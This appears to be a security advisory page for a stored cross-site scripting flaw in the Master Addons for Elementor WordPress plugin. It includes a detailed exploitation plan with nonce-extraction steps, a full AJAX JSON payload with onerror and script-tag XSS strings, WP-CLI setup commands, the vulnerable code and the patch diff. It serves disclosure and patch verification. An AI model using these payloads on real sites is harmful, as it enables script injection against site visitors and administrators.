Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits <= 2.1.3 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.3What Changed in the Fix
Changes introduced in v2.1.4
Source Code
WordPress.org SVNThis plan outlines the research and exploitation steps to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons For Elementor plugin. ### 1. Vulnerability Summary The "Master Addons For Elementor" plugin fails to properly sanitize and escape input in various Elementor widg…
Show full research plan
This plan outlines the research and exploitation steps to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons For Elementor plugin.
1. Vulnerability Summary
The "Master Addons For Elementor" plugin fails to properly sanitize and escape input in various Elementor widget controls. When a user with Author-level permissions or higher creates or edits a page using the Elementor builder and adds one of the affected widgets (e.g., Cards, Advanced Image, Business Hours), they can inject malicious scripts into text fields. These scripts are then stored in the post's metadata and executed in the context of any user (including Administrators) who views the page.
2. Attack Vector Analysis
- Vulnerable Endpoints:
wp-admin/admin-ajax.php(via Elementor'ssave_builderaction). - Vulnerable Parameter: The
elementsarray within theactionsparameter of theelementor_ajaxcall. - Authentication Level: Author or above (any user with
edit_postscapability for a post they own). - Preconditions: Elementor must be active, and the attacker must be able to edit a page/post using the Elementor editor.
3. Code Flow
- Input: An Author sends a JSON payload to the
elementor_ajaxaction containing widget settings (e.g.,ma_el_card_titlefor thema-el-cardwidget). - Storage: Elementor's backend processing saves this JSON into the
_elementor_datapost meta for that specific post. - Execution:
- When the page is rendered,
Elementor\Widget_Base::get_settings_for_display()(inherited by the widgets) retrieves the saved settings. - The widget's
render()function (e.g., inaddons/ma-cards/ma-cards.php) accesses these settings:$settings = $this->get_settings_for_display();. - The code then echoes the value directly without escaping:
echo $settings['ma_el_card_title'];(or similar unescaped output calls).
- When the page is rendered,
- Sink: The raw HTML/JavaScript is sent to the browser and executed.
4. Nonce Acquisition Strategy
To save Elementor data via HTTP, the elementor_ajax nonce is required.
- Preparation: Create a page and assign it to the Author.
- Navigation: Open the Elementor editor for that page in the browser:
browser_navigate("/wp-admin/post.php?post=[POST_ID]&action=elementor"). - Extraction: The nonce is stored in a global JavaScript configuration object. Use
browser_evalto extract it:- Variable 1:
window.elementorConfig?.ajax?.nonce - Variable 2:
window.elementorCommon?.config?.ajax?.nonce - Variable 3:
window.elementorEditorConfig?.ajax?.nonce
- Variable 1:
5. Exploitation Strategy
We will target the Cards widget (ma-el-card) and its ma_el_card_title control.
Step 1: Authenticated Session
Login as a user with the Author role.
Step 2: Nonce Extraction
Navigate to the Elementor editor of a post owned by the Author and extract the elementor_ajax nonce using the strategy above.
Step 3: Inject Payload
Send an HTTP POST request to admin-ajax.php to save the malicious widget configuration.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: (URL-encoded JSON string below)
{
"save_builder": {
"action": "save_builder",
"data": {
"status": "publish",
"elements": [
{
"id": "jltma_sec",
"elType": "section",
"elements": [
{
"id": "jltma_col",
"elType": "column",
"elements": [
{
"id": "jltma_card_exploit",
"elType": "widget",
"widgetType": "ma-el-card",
"settings": {
"ma_el_card_title": "<img src=x onerror=alert('XSS_SUCCESS_TITLE')>",
"ma_el_card_tag": "<img src=x onerror=alert('XSS_SUCCESS_TAG')>",
"ma_el_card_description": "<img src=x onerror=alert('XSS_SUCCESS_DESC')>"
}
}
]
}
]
}
]
}
}
}
Step 4: Execution
Visit the frontend of the page (/?p=[POST_ID]).
6. Test Data Setup
- Create Author User:
wp user create author_tester author@example.com --role=author --user_pass=password123 - Create Page:
wp post create --post_type=page --post_title="Elementor XSS Test" --post_status=publish --post_author=$(wp user get author_tester --field=ID) - Ensure Elementor Role Manager Permissions: By default, Authors can use Elementor. Ensure no restrictions are set in Elementor > Role Manager.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON body indicating{"success":true,...}. - When viewing the page, a JavaScript alert box should appear with the message
XSS_SUCCESS_TITLE. - Inspecting the source of the rendered page should show the raw
<img src=x onerror=...>inside thema-el-card-titlediv.
8. Verification Steps
- CLI Verification: Check if the payload is stored in post meta.
wp post meta get [POST_ID] _elementor_data
(Confirm the JSON contains theonerrorpayload). - DOM Verification: Use
browser_evalto check for the presence of the exploit string.browser_eval("document.body.innerHTML.includes('XSS_SUCCESS_TITLE')")
9. Alternative Approaches
If the ma-el-card widget is patched or unavailable, use these alternatives:
- Advanced Image Widget:
widgetType:jltma-advanced-imagesettings:{"ma_el_adv_image_display_ribbon": "yes", "ma_el_adv_image_ribbon_text": "<script>alert(1)</script>"}
- Search Widget:
widgetType:ma-searchsettings:{"jltma_search_icon_popup_search_text": "<script>alert(1)</script>"}
- Direct Meta Update (Bypass AJAX):
If the AJAX nonce extraction fails, manually set the meta as a test to verify the rendering vulnerability:
wp post meta set [POST_ID] _elementor_data '[JSON_PAYLOAD_HERE]'
wp post meta set [POST_ID] _elementor_edit_mode active
Summary
The Master Addons For Elementor plugin is vulnerable to authenticated Stored Cross-Site Scripting (XSS) via several widgets (e.g., Cards, Business Hours, Search) due to insufficient output escaping on user-controlled settings. Attackers with Author-level permissions or higher can inject arbitrary JavaScript into widget fields, which is then executed in the context of any user viewing the affected page.
Vulnerable Code
// addons/ma-business-hours/ma-business-hours.php line 1489 if ($item['ma_el_bh_closed_text']) { echo '<span class="closed">' . $this->parse_text_editor($item['ma_el_bh_closed_text']) . '</span>'; } --- // addons/ma-creative-links/ma-creative-links.php line 758 if ($effect === 'jltma-cl-effect-9') { $alt_text = !empty($settings['creative_alternative_link_text']) ? $settings['creative_alternative_link_text'] : $settings['creative_link_text']; echo '<span>' . $this->parse_text_editor($alt_text) . '</span>'; } --- // addons/ma-search/ma-search.php line 820 if ($jltma_search_submit_button) { echo '<span>' . $this->parse_text_editor($jltma_search_submit_button) . '</span>'; }
Security Fix
@@ -1719,7 +1719,7 @@ if (!empty($image_primary_meta['height'])) { $lightbox_attrs .= 'data-original-height="' . esc_attr($image_primary_meta['height']) . '" '; } - $lightbox_attrs .= 'data-description="' . $this->ma_el_attachment_caption($attach_id) . '"'; + $lightbox_attrs .= 'data-description="' . esc_attr($this->ma_el_attachment_caption($attach_id)) . '"'; } elseif (!empty($image_html)) { $image_primary = $image_html; } @@ -1486,7 +1486,7 @@ <?php } else { if ($item['ma_el_bh_closed_text']) { - echo '<span class="closed">' . $this->parse_text_editor($item['ma_el_bh_closed_text']) . '</span>'; + echo '<span class="closed">' . esc_html($this->parse_text_editor($item['ma_el_bh_closed_text'])) . '</span>'; } else { echo '<span class="closed">' . esc_html('Closed', 'master-addons' ) . '</span>'; } @@ -755,7 +755,7 @@ // Alternative text for effect 9 if ($effect === 'jltma-cl-effect-9') { $alt_text = !empty($settings['creative_alternative_link_text']) ? $settings['creative_alternative_link_text'] : $settings['creative_link_text']; - echo '<span>' . $this->parse_text_editor($alt_text) . '</span>'; + echo '<span>' . esc_html($this->parse_text_editor($alt_text)) . '</span>'; } // Icon After Text @@ -817,7 +817,7 @@ <?php if ($jltma_search_submit_button) { - echo '<span>' . $this->parse_text_editor($jltma_search_submit_button) . '</span>'; + echo '<span>' . esc_html($this->parse_text_editor($jltma_search_submit_button)) . '</span>'; } ?> </button> </div>
Exploit Outline
To exploit this vulnerability, an attacker with Author-level access needs to: 1. Log in to the WordPress dashboard and access the Elementor editor for a post or page they are authorized to edit. 2. Extract the `elementor_ajax` nonce from the page source or global JavaScript environment (e.g., `window.elementorConfig.ajax.nonce`). 3. Use a tool like Burp Suite or `curl` to send a POST request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder`. 4. Within the `actions` parameter of the AJAX request, provide a JSON payload representing a layout with a vulnerable Master Addons widget (such as `ma-el-card` or `ma-search`). 5. Inject a malicious JavaScript payload (e.g., `<img src=x onerror=alert(domain)>`) into one of the widget's text settings (e.g., `ma_el_card_title` or `jltma_search_submit_button`). 6. Once saved, any user who visits the published page will have the script executed in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.